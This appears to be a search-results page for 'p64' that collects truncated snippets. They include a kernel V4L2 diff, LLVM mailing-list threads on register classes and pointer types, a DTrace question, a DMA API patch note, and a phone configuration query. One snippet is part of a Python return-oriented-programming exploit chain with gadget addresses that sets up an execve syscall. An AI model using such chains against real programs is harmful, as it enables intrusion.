search for: p64

...l2_memory */ struct v4l2_format32 format; __u32 capabilities; - __u32 flags; - __u32 reserved[6]; + __u32 reserved[7]; }; static int __bufsize_v4l2_format(struct v4l2_format32 __user *p32, u32 *size) @@ -359,8 +355,7 @@ static int get_v4l2_create32(struct v4l2_create_buffers __user *p64, { if (!access_ok(p32, sizeof(*p32)) || copy_in_user(p64, p32, - offsetof(struct v4l2_create_buffers32, format)) || - assign_in_user(&p64->flags, &p32->flags)) + offsetof(struct v4l2_create_buffers32, format))) return -EFAULT; return __get_v4l2_format32(&p6...

Hi everyone, I'm looking through codes related to registered pressure tracking, mainly the source files 'RegisterPressure.h/cpp', 'MachineRegisterInfo.h/cpp', 'TargetRegisterInfo.h/cpp'. There is a concept I can hardly understand, the 'register pressure set'. Class 'TargetRegisterInfo' defines two virtual methods 'getRegClassPressureSets' and

...=g(-0.5,-0.5) p42=g(-0.5,0) p43=g(-0.5,0.5) p44=g(-0.5,1) p45=g(-0.5,2) p46=g(-0.5,3) p47=g(-0.5,4) p48=g(-0.5,5) p49=g(0,-0.5) p50=g(0,0) p51=g(0,.5) p52=g(0,1) p53=g(0,2) p54=g(0,3) p55=g(0,4) p56=g(0,5) p57=g(0.5,-.5) p58=g(0.5,0) p59=g(0.5,.5) p60=g(0.5,1) p61=g(0.5,2) p62=g(0.5,3) p63=g(0.5,4) p64=g(0.5,5) p65=g(1,-.5) p66=g(1,0) p67=g(1,.5) p68=g(1,1) p69=g(1,2) p70=g(1,3) p71=g(1,4) p72=g(1,5) p73=g(2,-.5) p74=g(2,0) p75=g(2,.5) p76=g(2,1) p77=g(2,2) p78=g(2,3) p79=g(2,4) p80=g(2,5) p81=g(3,-.5) p82=g(3,0) p83=g(3,.5) p84=g(3,1) p85=g(3,2) p86=g(3,3) p87=g(3,4) p88=g(3,5) p89=g(4,-.5) p90=...

Quentin, My real problem is that my target has separate address and data registers. The way I’d like to try getting better reg-alloc than I am now is to bring out the difference as Early as possible, so I have added p16, p32, p64 to the enum in “MachineValueType.h” And I have called addRegisterClass(MVT::p32, &XyzAddrRegsRegClass); And I have an override for virtual TargetLowering::getPointerTy() that returns MVT::p32, And some other minor changes that altogether cause virt-regs that contain pointers To get my...

I''ve been trying to get access to a userland string that''s behind a second level pointer using DTrace, but I can''t seem to get it to work. I started with the example on the Team DTrace Tips and Tricks slides: trace(copyinstr(*(uintptr_t *)copyin(arg0, curpsinfo->pr_dmodel == PR_MODEL_ILP32 ? 4 : 8))); And when I couldn''t get it to work, I started

...-dev at lists.llvm.org> wrote: > > Quentin, > My real problem is that my target has separate address and data registers. > The way I’d like to try getting better reg-alloc than I am now is to bring out the difference as > Early as possible, so I have added p16, p32, p64 to the enum in “MachineValueType.h” > > And I have called addRegisterClass(MVT::p32, &XyzAddrRegsRegClass); > > And I have an override for virtual TargetLowering::getPointerTy() that returns MVT::p32, > > And some other minor changes that altogether cause virt-regs...

...ists.llvm.org> wrote: > > Quentin, > My real problem is that my target has separate address and > data registers. > The way I’d like to try getting better reg-alloc than I am now is to bring > out the difference as > Early as possible, so I have added p16, p32, p64 to the enum in > “MachineValueType.h” > > And I have called addRegisterClass(MVT::p32, &XyzAddrRegsRegClass); > > And I have an override for virtual TargetLowering::getPointerTy() that > returns MVT::p32, > > And some other minor changes that altogether cause virt-r...

...vm.org<mailto:llvm-dev at lists.llvm.org>> wrote: Quentin, My real problem is that my target has separate address and data registers. The way I’d like to try getting better reg-alloc than I am now is to bring out the difference as Early as possible, so I have added p16, p32, p64 to the enum in “MachineValueType.h” And I have called addRegisterClass(MVT::p32, &XyzAddrRegsRegClass); And I have an override for virtual TargetLowering::getPointerTy() that returns MVT::p32, And some other minor changes that altogether cause virt-regs that contain pointers To get my...

...> > > > Quentin, > > My real problem is that my target has separate address and > data registers. > > The way I’d like to try getting better reg-alloc than I am now is to bring > out the difference as > > Early as possible, so I have added p16, p32, p64 to the enum in > “MachineValueType.h” > > > > And I have called addRegisterClass(MVT::p32, &XyzAddrRegsRegClass); > > > > And I have an override for virtual TargetLowering::getPointerTy() that > returns MVT::p32, > > > > And some other minor change...

Hi all, this series replaced the DMA_ATTR_NON_CONSISTENT flag to dma_alloc_attrs with a separate new dma_alloc_pages API, which is available on all platforms. In addition to cleaning up the convoluted code path, this ensures that other drivers that have asked for better support for non-coherent DMA to pages with incurring bounce buffering over can finally be properly supported. I'm still a

Hi all, this series replaced the DMA_ATTR_NON_CONSISTENT flag to dma_alloc_attrs with a separate new dma_alloc_pages API, which is available on all platforms. In addition to cleaning up the convoluted code path, this ensures that other drivers that have asked for better support for non-coherent DMA to pages with incurring bounce buffering over can finally be properly supported. As a follow up I

Hi Peter, I would recommend looking into the implementation of the matcher if you want to add more builtin types: utils/TableGen//DAGISelMatcherGen.cpp That being said, you can define your own types without having to go through that hassle. E.g., from AArch64 def simm9 : Operand<i64>, ImmLeaf<i64, [{ return Imm >= -256 && Imm < 256; }]> { let ParserMatchClass =

Dumb question about llvm-tblgen for "XyzGenInstrInfo.inc" If I have a pattern in my dot-td-file like this [(set i32:$dst (add i32:$rs1, i32:$rs2))] The question is where does the token "i32" come from, I don't see any definitions for i1, i8, i16, i32, ... in include/llvm/Target/*.td while I do see definitions for tokens like

On Fri, Aug 7, 2020 at 1:18 AM David Chisnall <David.Chisnall at cl.cam.ac.uk> wrote: > I think it would be useful for the discussion to have a clear threat model that this intends to defend against and a rough analysis of the security benefits that this is believed to bring. I view this as being even more about a ROP defense. Dealing with spill slots is, IMO, a separate issue, more

...39;<Q', 0x00000000006ca088) # @ .data + 8 11: p += pack('<Q', 0x0000000000425e3f) # xor rax, rax ; ret 12: p += pack('<Q', 0x0000000000473f81) # mov qword ptr [rsi], rax ; ret 13: p+= pack('<Q', 0x00000000004784d6) # pop rax ; pop rdx ; pop rbx ; ret 14: p += p64(59) # execve syscall number 15: p += pack('<Q', 0x4141414141414141) # padding 16: p += pack('<Q', 0x4141414141414141) # padding 17: p += pack('<Q', 0x0000000000401506) # pop rdi ; ret 18: p += pack('<Q', 0x00000000006ca080) # @ .data 19: p += pack('&l...

Hi, I've prepared patches for both LLVM and Clang to change the datalayout for R600. This may seem like a bold move, but I think it is warranted. R600/SI is a strange architecture in that it uses 64bit pointers but does not support 64 bit arithmetic except for load/store operations that roughly map onto getelementptr. The current datalayout for r600 includes n32:64, which is odd

Is it possible to program the multi-purpose keys on a GXP-2000 remotely via a TFTP configuration file? If so, what are the parameters to put in the configuration file? Thanks, Daniel